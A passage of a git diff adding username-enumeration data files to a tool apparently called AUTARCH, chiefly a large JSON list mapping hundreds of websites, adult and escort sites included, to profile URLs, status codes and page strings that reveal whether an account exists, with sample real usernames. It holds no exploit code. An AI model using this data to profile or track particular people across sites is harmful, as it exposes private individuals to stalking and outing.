"headless", + "data": { + "found": "//*[contains(text(), 'Followers')]", + "not_found": "//*[contains(text(), 'This account doesn')]" + } + }, + { + "url": "https://bugcrowd.com/{}", + "test": null, + "data": null + }, + { + "url": "https://www.fiverr.com/{}", + "test": "headless", + "data": { + "found": "/html/body/div[2]/div[2]/div[2]/div/div/div[2]/div[2]/div[1]/div[2]/div[2]/div/h3[contains(text(), 'Languages')]", + "not_found": "//*[contains(text(), 'Find the perfect') or contains(text(), 'what you were')]" + } + }, + { + "url": "https://tenor.com/users/{}", + "test": null, + "data": null + } +] diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/reveal_my_name.json b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/reveal_my_name.json new file mode 100644 index 0000000..e58d608 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/data/sites/reveal_my_name.json @@ -0,0 +1,7076 @@ +{ + "license" : ["Copyright (C) 2023 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA."], + "authors" : ["Micah 'WebBreacher' Hoffman","C3n7ral051nt4g3ncy","Munchko","L0r3m1p5um","lehuff", + "janbinx","bcoles","arnydo","mccartney","salaheldinaz","camhoff","jocephus", + "swedishmike","soxoj","jspinel","ef1500","zewen","jocejocejoe","P3run","seintpl", + "djahren","K2SOsint","Sector035","AccentuSoft"], + "categories" : ["archived","art","blog","business","coding","dating","finance","gaming","health", + "hobby","images","misc","music","news","political","search","shopping","social", + "tech","video","XXXPORNXXX"], + "sites" : [ + { + "name" : "Mastodon-101010.pl", + "uri_check" : "https://101010.pl/@{account}", + "e_code" : 200, + "e_string" : "@101010.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["szekspir", "xaphanpl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "1001mem", + "uri_check" : "http://1001mem.ru/{account}", + "e_code" : 200, + "e_string" : "| Новости - Приколы - Комиксы - Мемы", + "m_string" : "Этот пользователь не существует, или заблокирован.", + "m_code" : 200, + "known" : ["ruslan", "dima"], + "cat" : "social", + "valid" : true + }, + { + "name" : "3DNews", + "uri_check" : "http://forum.3dnews.ru/member.php?username={account}", + "e_code" : 200, + "e_string" : "Форум 3DNews - Просмотр профиля:", + "m_string" : "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code" : 200, + "known" : ["bob", "red"], + "cat" : "social", + "valid" : true + }, + { + "name" : "247sports", + "uri_check" : "https://247sports.com/User/{account}/", + "e_code" : 200, + "e_string" : "<meta property=", + "m_string" : "<title>247Sports", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "3dtoday", + "uri_check" : "https://3dtoday.ru/blogs/{account}", + "e_code" : 200, + "e_string" : "Блог владельца 3d-принтера", + "m_string" : "404 Not Found", + "m_code" : 302, + "known" : ["sergei", "vlad"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "7cup", + "uri_check" : "https://www.7cups.com/@{account}", + "e_code" : 200, + "e_string" : "Profile - 7 Cups", + "m_string" : "Oops! The content you're attempting to access could not be found.", + "m_code" : 404, + "known" : [ "john", "jbob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "7dach", + "uri_check" : "https://7dach.ru/profile/{account}", + "e_code" : 200, + "e_string" : "Информация / Профиль", + "m_string" : "Ошибка / 7dach.ru", + "m_code" : 200, + "known" : ["lana", "svetlana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "21buttons", + "uri_check" : "https://www.21buttons.com/buttoner/{account}", + "e_code" : 200, + "e_string" : "profile_user_followers", + "m_string" : "This is not the page you're looking for", + "m_code" : 404, + "known" : ["teedawod", "ginamariahoffmann"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aaha_chat", + "uri_check" : "https://www.aahachat.org/profile/{account}/", + "e_code" : 200, + "e_string" : "og:title", + "m_string" : "<title>Aaha Chat Rooms - ", + "m_code" : 301, + "known" : ["crazy", "dog"], + "cat" : "social", + "valid" : true + }, + { + "name" : "about.me", + "uri_check" : "https://about.me/{account}", + "e_code" : 200, + "e_string" : " | about.me", + "m_string" : "<title>about.me", + "m_code" : 404, + "known" : ["john", "jill"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ACF", + "uri_check" : "https://support.advancedcustomfields.com/forums/users/{account}", + "e_code" : 200, + "e_string" : "ACF Support", + "m_string" : "Page Not Found", + "m_code" : 200, + "known" : ["mike", "greg"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "admire_me", + "uri_check" : "https://admireme.vip/{account}/", + "e_code" : 200, + "e_string" : "<div id=", + "m_string" : "<title>Page Not Found |", + "m_code" : 404, + "known" : ["justjessicarabbit", "savannah250xo"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Adult_Forum", + "uri_check" : "https://adultforum.gr/{account}-glamour-escorts/", + "e_code" : 200, + "e_string" : "Glamour Escorts ", + "m_string" : "Page not found - Adult Forum Gr", + "m_code" : 404, + "known" : ["nastya3", "ekaterina"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "adultism", + "uri_check" : "https://www.adultism.com/profile/{account}", + "e_code" : 200, + "e_string" : "static/r-1OqQ4o/css/www/main.css", + "m_string" : "<title> Not Found", + "m_code" : 404, + "known" : ["laura", "sara"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "ADVFN", + "uri_check" : "https://uk.advfn.com/forum/profile/{account}", + "e_code" : 200, + "e_string" :"Profile | ADVFN", + "m_string" : "ADVFN ERROR - Page Not Found", + "m_code" : 404, + "known" : ["crypto", "crypto1"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "aflam", + "uri_check" : "https://www.aflam4you.net/profile.html?u={account}", + "post_body" : "", + "e_code" : 200, + "e_string" : ") on بث حي و مباشر", + "m_string" : "Plz Visit", + "m_code" : 302, + "known" : ["ahmed", "brahim01"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Airline_Pilot_Life", + "uri_check" : "https://airlinepilot.life/u/{account}", + "e_code" : 200, + "e_string" : "<title> Profile -", + "m_string" : "Page Not Found - Airline Pilot Life", + "m_code" : 404, + "known" : ["hannah", "addison"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Airliners", + "uri_check" : "https://www.airliners.net/user/{account}/profile", + "e_code" : 200, + "e_string" : "'s Profile | Airliners Members | Airliners.net", + "m_string" : "An Error Occurred", + "m_code" : 404, + "known" : ["pilot", "pilota"], + "cat" : "social", + "valid" : true + }, + { + "name" : "akniga", + "uri_check" : "https://akniga.org/profile/{account}", + "e_code" : 200, + "e_string" : " - Аудиокниги Клуб", + "m_string" : "Vizitka nenalezena", + "m_code" : 404, + "known" : ["igor", "pavel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "allesovercrypto", + "uri_check" : "https://allesovercrypto.nl/user/{account}", + "e_code" : 200, + "e_string" : "Favoriete coins", + "m_string" : "De opgevraagde pagina kon niet gevonden worden.", + "m_code" : 200, + "known" : ["gijsv", "patrick-suiker"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "allmylinks", + "uri_check" : "https://allmylinks.com/{account}", + "e_code" : 200, + "e_string" : "message", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["blue", "beccaturner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Alloannonces", + "uri_check" : "https://www.alloannonces.ma/{account}/", + "e_code" : 200, + "e_string" : "Vendeurs/Agents", + "m_string" : "Page non defini", + "m_code" : 404, + "known" : ["Rachid13", "Ayoub"], + "cat" : "social", + "valid" : true + }, + { + "name" : "AllTrails", + "uri_check" : "https://www.alltrails.com/members/{account}", + "e_code" : 200, + "e_string" : "'s Profile | ", + "m_string" : "User could not be found.", + "m_code" : 302, + "known" : ["breckt", "rdoghartwig"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Ameblo", + "uri_check" : "https://ameblo.jp/{account}", + "e_code" : 200, + "e_string" : "画像一覧", + "m_string" : "削除された可能性がございます。", + "m_code" : 404, + "known" : ["ereko-blog", "senpai"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "AmericanThinker", + "uri_check" : "https://www.americanthinker.com/author/{account}/", + "e_code" : 200, + "e_string" : "Articles &", + "m_string" : "American Thinker", + "m_code" : 301, + "known" : ["terrypaulding", "monicashowalter"], + "cat" : "political", + "valid" : true + }, + { + "name" : "AnimePlanet", + "uri_check" : "https://www.anime-planet.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Meet new friends, make reviews and recommendations.", + "m_code" : 302, + "known" : ["zala", "lindapearl"], + "cat" : "social", + "valid" : true + }, + { + "name" : "aNobii", + "uri_check" : "https://www.anobii.com/{account}/profile/activity", + "e_code" : 200, + "e_string" : ">Anobian since", + "m_string" : "A user matching the specified criteria could not be found", + "m_code" : 200, + "known" : ["albertoricci", "trynyty01"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "anonup", + "uri_check" : "https://anonup.com/@{account}", + "e_code" : 200, + "e_string" : "Show followings", + "m_string" : "Page not found!", + "m_code" : 302, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Apex Legends", + "uri_check" : "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "e_code" : 200, + "e_string" : "Overview", + "m_code" : 404, + "m_string" : "PLAYER NOT FOUND", + "known" : ["tttcheekyttt", "RollsRoyce_Dawn"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Appian", + "uri_check" : "https://community.appian.com/members/{account}", + "e_code" : 200, + "e_string" : "User Profile", + "m_string" : "Go back to our", + "m_code" : 301, + "known" : ["mikec", "varunkumarb0001"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "apteka", + "uri_check" : "https://apteka.ee/user/id/{account}", + "e_code" : 200, + "e_string" : "/gifts/user_id/", + "m_string" : "account-data-error", + "m_code" : 200, + "known" : ["lana", "oleg"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Archive Of Our Own Account", + "uri_check" : "https://archiveofourown.org/users/{account}", + "e_code" : 200, + "e_string" : ">Profile<", + "m_string" : ">redirected<", + "m_code" : 302, + "known" : ["test", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Arduino", + "uri_check" : "https://create.arduino.cc/projecthub/{account}", + "e_code" : 200, + "e_string" : "- Arduino Project Hub", + "m_string" : "Arduino Project Hub", + "m_code" : 404, + "known" : ["peter", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "ArmorGames", + "uri_check" : "https://armorgames.com/user/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "404: Oh Noes!", + "m_code" : 302, + "known" : ["john", "sammy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "ArtBreeder", + "uri_check" : "https://www.artbreeder.com/{account}", + "e_code" : 200, + "e_string" : "", + "m_string" : "Not found:", + "m_code" : 404, + "known" : ["dolores", "cyborghyena"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Artists & Clients", + "uri_check" : "https://artistsnclients.com/people/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_code" : 404, + "m_string" : "The page you requested wasn't there when we tried to get it for you. What a bother!", + "known" : ["luluc0", "MuraArts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "ArtStation", + "uri_check" : "https://www.artstation.com/{account}", + "e_code" : 200, + "e_string" : "Portfolio", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["kongaxl_design", "alex_pi"], + "cat" : "art", + "valid" : true + }, + { + "name" : "asciinema", + "uri_check" : "https://asciinema.org/~{account}", + "e_code" : 200, + "e_string" : "s profile - asciinema", + "m_string" : "This page doesn't exist. Sorry!", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "ask.fm", + "uri_check" : "https://ask.fm/{account}", + "e_code" : 200, + "e_string" : "answers,", + "m_string" : "Well, apparently not anymore.", + "m_code" : 200, + "known" : ["test", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "au.ru", + "uri_check" : "https://au.ru/user/{account}/", + "e_code" : 200, + "e_string" : "Лоты пользователя ", + "m_string" : "Пользователь не найден", + "m_code" : 404, + "known" : ["Svetlana7", "nastya"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Audiojungle", + "uri_check" : "https://audiojungle.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on AudioJungle", + "m_string" : "404 - Nothing to see here", + "m_code" : 404, + "known" : ["john", "reds"], + "cat" : "music", + "valid" : true + }, + { + "name" : "authorSTREAM", + "uri_check" : "http://www.authorstream.com/{account}/", + "e_code" : 200, + "e_string" : "Presentations on authorSTREAM", + "m_string" : "", + "m_code" : 404, + "known" : ["test", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Avid Community", + "uri_check" : "https://community.avid.com/members/{account}/default.aspx", + "e_code" : 200, + "e_string" : "My Activity", + "m_code" : 302, + "m_string" : "The user you requested cannot be found.", + "known" : ["Thayne", "Admin"], + "cat" : "music", + "valid" : true + }, + { + "name" : "babepedia", + "uri_check" : "https://www.babepedia.com/user/{account}", + "e_code" : 200, + "e_string" : "'s Page", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["cherry", "betty"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BabyPips", + "uri_check" : "https://forums.babypips.com/u/{account}.json", + "uri_pretty" : "https://forums.babypips.com/u/{account}/summary", + "e_code" : 200, + "e_string" : "user_badges", + "m_string" : "The requested URL or resource could not be found", + "m_code" : 404, + "known" : ["baemax023", "scottycarsonmvp"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Bandcamp", + "uri_check" : "https://bandcamp.com/{account}", + "e_code" : 200, + "e_string" : " collection | Bandcamp", + "m_string" : "

Sorry, that something isn’t here.

", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Bandlab", + "uri_check" : "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty" : "https://www.bandlab.com/{account}", + "e_code" : 200, + "e_string" : "about", + "m_string" : "Couldn't find any matching element, it might be deleted", + "m_code" : 404, + "known" : ["rave_flawless", "delutaya"], + "cat" : "music", + "valid" : true + }, + { + "name" : "bblog_ru", + "uri_check" : "https://www.babyblog.ru/user/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "БэбиБлог - беременность, календарь беременности, дневники", + "m_code" : 301, + "known" : ["igor", "olga"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "BDSMLR", + "uri_check" : "https://{account}.bdsmlr.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "login", + "m_string" : "This blog doesn't exist.", + "m_code" : 200, + "known" : ["themunch", "shibari4all"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "bdsmsingles", + "uri_check" : "https://www.bdsmsingles.com/members/{account}/", + "e_code" : 200, + "e_string" : "Profile", + "m_string" : "BDSM Singles", + "m_code" : 302, + "known" : ["GoddessBlueDiamo", "aalama"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Behance", + "uri_check" : "https://www.behance.net/{account}", + "e_code" : 200, + "e_string" : "<title>Behance", + "m_string" : "Behance :: Oops! We can’t find that page.", + "m_code" : 404, + "known" : ["alice", "john"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Bentbox", + "uri_check" : "https://bentbox.co/{account}", + "e_code" : 200, + "e_string" : "
", + "m_string" : "This user is currently not available", + "m_code" : 200, + "known" : ["brockdoom", "witchhouse", "hotoptics"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "BiggerPockets", + "uri_check" : "https://www.biggerpockets.com/users/{account}", + "e_code" : 200, + "e_string" : "| BiggerPockets", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["trustgreene", "chasel9"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BIGO Live", + "uri_check" : "https://www.bigo.tv/user/{account}", + "e_code" : 200, + "e_string" : "userInfo:{nickName", + "m_string" : "userInfo:{}", + "m_code" : 200, + "known" : ["treasdior", "Jacin19"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Bikemap", + "uri_check" : "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code" : 200, + "e_string" : "- 🚲 Bikemap", + "m_string" : "Page not found - Error 404 ", + "m_code" : 404, + "known" : ["mike", "greg"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Bimpos", + "uri_check" : "https://ask.bimpos.com/user/{account}", + "e_code" : 200, + "e_string" : "<title>User ", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "db"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "biolink", + "uri_check" : "https://bio.link/{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you’re looking for doesn’t exist", + "m_code" : 404, + "known" : ["adli_hm", "jake"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Bitbucket", + "uri_check" : "https://bitbucket.org/{account}/", + "e_code" : 200, + "e_string" : "Repositories", + "m_string" : "That link has no power here", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Bitchute", + "uri_check" : "https://www.bitchute.com/channel/{account}/", + "e_code" : 200, + "e_string" : "subscribers", + "m_string" : "404 - Page not found", + "m_code" : 404, + "known" : ["simon_parkes", "americafloats", "daindor"], + "cat" : "political", + "valid" : true + }, + { + "name" : "bitcoin forum", + "uri_check" : "https://bitcoinforum.com/profile/{account}", + "e_code" : 200, + "e_string" : "Profile of", + "m_string" : "An Error Has Occurred!", + "m_code" : 200, + "known" : ["alex", "boss"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "bittube", + "uri_check" : "https://bittube.video/c/{account}/videos", + "e_code" : 200, + "e_string" : "- BitTube", + "m_string" : "

We are sorry but it seems", + "m_code" : 404, + "known" : ["nmt0", "sashaponce"], + "cat" : "video", + "valid" : true + }, + { + "name" : "BLIP.fm", + "uri_check" : "https://blip.fm/{account}", + "e_code" : 200, + "e_string" : "recommended", + "m_string" : "", + "m_code" : 404, + "known" : ["john", "walnuts"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Blogger", + "uri_check" : "https://www.blogger.com/profile/{account}", + "e_code" : 200, + "e_string" : ">On Blogger since", + "m_string" : "Sorry, the blog you were looking for does not exist.", + "m_code" : 404, + "known" : ["07333944864481878697", "05941544278367416980"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "blogi.pl", + "uri_check" : "https://www.blogi.pl/osoba,{account}.html", + "e_code" : 200, + "e_string" : "Informacje ogólne", + "m_string" : "Niepoprawny adres.", + "m_code" : 200, + "known" : ["naukowa", "izkpaw"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Blogmarks", + "uri_check" : "http://blogmarks.net/user/{account}", + "e_code" : 200, + "e_string" : "class=\"mark\"", + "m_string" : "", + "m_code" : 200, + "known" : ["test", "mike"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Blogspot", + "uri_check" : "http://{account}.blogspot.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Blogger Template Style", + "m_string" : "Blog not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "BodyBuilding.com", + "uri_check" : "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty" : "http://bodyspace.bodybuilding.com/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "data\" :\"\"", + "m_code" : 200, + "known" : ["mike"], + "cat" : "health", + "valid" : true + }, + { + "name" : "bonga_cams", + "uri_check" : "https://pt.bongacams.com/{account}", + "e_code" : 200, + "e_string" : "Chat público ao vivo de", + "m_string" : "Câmaras de sexo free: chat pornô ao vivo", + "m_code" : 404, + "known" : ["PrettyKatea", "milaowens"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Bookcrossing", + "uri_check" : "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code" : 200, + "e_string" : "Recent Book Activity", + "m_string" : "Sorry, we were unable to locate the content that you requested.", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "boosty", + "uri_check" : "https://boosty.to/{account}", + "e_code" : 200, + "e_string" : "- exclusive content on Boosty", + "m_string" : "Blog not found", + "m_code" : 200, + "known" : ["evdokia", "lana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Booth", + "uri_check" : "https://{account}.booth.pm/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "- BOOTH", + "m_string" : "BOOTH - The International Indie Art Marketplace", + "m_code" : 302, + "known" : ["monoliorder", "hasya"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Breach Forums", + "uri_check" : "https://breached.vc/User-{account}", + "e_code" : 200, + "e_string" : "Time Spent Online", + "m_code" : 404, + "m_string" : "The member you specified is either invalid or doesn't exist.", + "known" : ["dubudubw", "pompompurin"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Brickset", + "uri_check" : "https://forum.brickset.com/profile/{account}", + "e_code" : 200, + "e_string" : "Activity", + "m_string" : "User Not Found", + "m_code" : 404, + "known" : ["lowlead", "vwong19"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Bugcrowd", + "uri_check" : "https://bugcrowd.com/{account}", + "e_code" : 200, + "e_string" : "s researcher profile on Bugcrowd", + "m_string" : ">Bugcrowd | Error", + "m_code" : 404, + "known" : ["bitquark", "mert"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Bunpro", + "uri_check" : "https://community.bunpro.jp/u/{account}.json", + "e_code" : 200, + "e_string" : "username", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["blacktide", "honey"], + "cat" : "social", + "valid" : true + }, + { + "name" : "buymeacoffee", + "uri_check" : "https://www.buymeacoffee.com/{account}", + "e_code" : 200, + "e_string" : "supporters", + "m_string" : "The page you’re looking for doesn’t exist.", + "m_code" : 404, + "known" : ["freebird", "robinwong"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "BuzzFeed", + "uri_check" : "https://www.buzzfeed.com/{account}", + "e_code" : 200, + "e_string" : "memberSince", + "m_string" : "We can't find the page you're looking for", + "m_code" : 404, + "known" : ["janelytvynenko", "RobertK"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Buzznet", + "uri_check" : "https://www.buzznet.com/author/{account}/", + "e_code" : 200, + "e_string" : "Author:", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["carolinegawlik"], + "cat" : "news", + "valid" : true + }, + { + "name" : "cafecito", + "uri_check" : "https://cafecito.app/{account}", + "e_code" : 200, + "e_string" : " | Cafecito", + "m_string" : "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code" : 404, + "known" : ["braftty", "guillermo"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Calendy", + "uri_check" : "https://calendly.com/{account}", + "e_code" : 200, + "e_string" : "og:author", + "m_code" : 404, + "m_string" : "Sorry, but the page you were looking for could not be found.", + "known" : ["honey", "roger"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Cameo", + "uri_check" : "https://www.cameo.com/{account}", + "e_code" : 200, + "e_string" : "aggregateRating", + "m_string" : "", + "m_code" : 301, + "known" : ["ryansandes", "sarahall3"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Carbonmade", + "uri_check" : "https://{account}.carbonmade.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s online portfolio", + "m_string" : "site not found", + "m_code" : 404, + "known" : ["jenny", "bob"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Career.habr", + "uri_check" : "https://career.habr.com/{account}", + "e_code" : 200, + "e_string" : "— Хабр Карьера", + "m_string" : "Ошибка 404", + "m_code" : 404, + "known" : ["alex", "bob"], + "cat" : "business", + "valid" : true + }, + { + "name" : "CaringBridge", + "uri_check" : "https://www.caringbridge.org/visit/{account}", + "e_code" : 200, + "e_string" : "| CaringBridge", + "m_string" : "Sorry, we can’t find that site", + "m_code" : 404, + "known" : ["robertherring"], + "cat" : "health", + "valid" : true + }, + { + "name" : "carrd.co", + "uri_check" : "https://{account}.carrd.co", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "( Made with Carrd )", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["liam", "peter"], + "cat" : "business", + "valid" : true + }, + { + "name" : "cash.app", + "uri_check" : "https://cash.app/${account}", + "e_code" : 200, + "e_string" : " on Cash App", + "m_string" : "The page you are looking for can't be found", + "m_code" : 404, + "known" : ["Jill", "john"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "CastingCallClub", + "uri_check" : "https://www.castingcall.club/{account}", + "e_code" : 200, + "e_string" : "| Casting Call Club", + "m_code" : 302, + "m_string" : "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "known" : ["Lindz", "Danye"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "CD-Action", + "uri_check" : "https://cdaction.pl/uzytkownicy/{account}", + "e_code" : 200, + "e_string" : "Lista gier:", + "m_string" : "Coś się popsuło...", + "m_code" : 404, + "known" : ["saczuan", "cormac"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "cda.pl", + "uri_check" : "https://www.cda.pl/{account}", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Strona na którą chcesz wejść nie istnieje", + "m_code" : 200, + "known" : ["test2", "janek"], + "cat" : "video", + "valid" : true + }, + { + "name" : "championat", + "uri_check" : "https://www.championat.com/user/{account}/", + "e_code" : 200, + "e_string" : "Личный профил", + "m_string" : "Извините, запрашиваемая страница не найдена", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Mastodon-Chaos.social", + "uri_check" : "https://chaos.social/@{account}", + "e_code" : 200, + "e_string" : "@chaos.social) - chaos.social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["dictvm", "sml"], + "cat" : "social", + "valid" : true + }, + { + "name" : "chaturbate", + "uri_check" : "https://chaturbate.com/{account}/", + "e_code" : 200, + "e_string" : "'s Bio and Free Webcam", + "m_string" : "It's probably just a broken link", + "m_code" : 404, + "known" : ["pussylovekate", "kemii"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cHEEZburger", + "uri_check" : "https://profile.cheezburger.com/{account}", + "e_code" : 200, + "e_string" : "profile-header", + "m_string" : "Home - ", + "m_code" : 302, + "known" : ["john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Chamsko", + "uri_check" : "https://www.chamsko.pl/profil/{account}", + "e_code" : 200, + "e_string" : "W serwisie od", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "janek"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Chess.com", + "uri_check" : "https://www.chess.com/member/{account}", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "<title>Missing Page?! - Chess.com", + "m_code" : 404, + "known" : ["john", "peter", "josh"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Chomikuj.pl", + "uri_check" : "https://chomikuj.pl/{account}/", + "e_code" : 200, + "e_string" : "Foldery", + "m_string" : "Chomik o takiej nazwie nie istnieje", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Chyoa", + "uri_check" : "https://chyoa.com/user/{account}", + "e_code" : 200, + "e_string" : "When I'm not reading erotica I like to read", + "m_string" : "Sorry, I got distracted...", + "m_code" : 404, + "known" : ["joe", "carlos01"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Climatejustice.rocks (Mastodon Instance)", + "uri_check" : "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://climatejustice.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["paula", "ClimbitJustice"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cloudflare", + "uri_check" : "https://community.cloudflare.com/u/{account}", + "e_code" : 200, + "e_string" : "- Cloudflare Community", + "m_string" : "Oops! That page doesn’t exist or is private.", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Clubhouse", + "uri_check" : "https://www.clubhouse.com/@{account}", + "e_code" : 200, + "e_string" : ">followers

", + "m_string" : "t find what you were looking for", + "m_code" : 404, + "known" : ["kirbyplessas", "rohan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "clusterdafrica", + "uri_check" : "https://clusterdafrica.com/@{account}", + "e_code" : 200, + "e_string" : "Membre depuis -", + "m_string" : "- Page non trouvée!", + "m_code" : 302, + "known" : ["mamadou", "konate"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cnet", + "uri_check" : "https://www.cnet.com/profiles/{account}/", + "e_code" : 200, + "e_string" : "Member Since:", + "m_string" : "Page Not Found (404) - CNET", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Codeberg", + "uri_check" : "https://codeberg.org/{account}", + "e_code" : 200, + "e_string" : "ui avatar vm", + "m_code" : 404, + "m_string" : "The page you are trying to reach either", + "known" : ["dachary", "happy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Codecademy", + "uri_check" : "https://discuss.codecademy.com/u/{account}/summary", + "e_code" : 200, + "e_string" : " Profile - ", + "m_string" : "Oops! That page doesn’t exist", + "m_code" : 404, + "known" : ["doctypeme", 